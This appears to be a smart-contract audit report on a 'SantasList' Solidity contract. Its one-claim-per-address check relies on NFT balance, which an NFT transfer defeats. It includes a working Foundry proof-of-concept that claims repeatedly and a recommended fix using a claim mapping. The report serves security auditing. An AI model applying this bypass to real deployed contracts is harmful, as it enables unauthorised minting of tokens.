Summary
As detailed in the contract comment a user should not be allow to collect more than once
addresses should not be able to collect more than once.
The collectPresent
method revert if the user has more than 0 nft.
In theory it should revert after the first mint but if the user transfers their NFT to another address they could keep collecting more NFTs and potentially Santa tokens.
Vulnerability Details
Below, we can see that this method checks the msg.sender
's balance, which is an unsafe check:
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
This POC demonstrate that a user is able to exploit this check by transferring the NFT and mint an unlimited amount of tokens.
Copy this test into the SantasListTest.t.sol file
function testUnlimitedClaim() public {
address exploiter = makeAddr("exploiter");
address exploiter2 = makeAddr("exploiter2");
vm.startPrank(santa);
santasList.checkList(exploiter, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(exploiter, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(exploiter);
santasList.collectPresent();
assertEq(santaToken.balanceOf(exploiter), 1e18);
assertEq(santasList.balanceOf(exploiter), 1);
santasList.transferFrom(exploiter, exploiter2, 0);
santasList.collectPresent();
assertEq(santasList.balanceOf(exploiter), 1);
santasList.transferFrom(exploiter, exploiter2, 1);
assertEq(santasList.balanceOf(exploiter2), 2);
assertEq(santaToken.balanceOf(exploiter), 2e18);
vm.stopPrank();
}
Run the test
forge test -vvvv --match-test testUnlimitedClaim
As you can see in the POC the user bypassed the balance check
Impact
This vulnerability allows a user with a status of NICE to mint an unlimited amount of NFTs.
A user with a status of EXTRA_NICE will be able to mint an unlimited amount of NFTs and Santa tokens.
Tools Used
Forge test
Recommendations
Instead of relying on the balance of NFTs to determine if a user has already claimed a present,
maintain an independent mapping that tracks whether each address has claimed their present.
This mapping should be updated when a present is claimed, regardless of any subsequent NFT transfers.
Add the following mapping
mapping(address => bool) private hasClaimed;
Update your method as follows:
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (hasClaimed[msg.sender]){
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
You can verify that this implementation is safe by running the following test
function testUnlimitedClaimSafe() public {
address exploiter = makeAddr("exploiter");
address exploiter2 = makeAddr("exploiter2");
vm.startPrank(santa);
santasList.checkList(exploiter, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(exploiter, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(exploiter);
santasList.collectPresentSafe();
assertEq(santaToken.balanceOf(exploiter), 1e18);
assertEq(santasList.balanceOf(exploiter), 1);
santasList.transferFrom(exploiter, exploiter2, 0);
vm.expectRevert(0x0cca637b);
santasList.collectPresentSafe();
vm.stopPrank();
}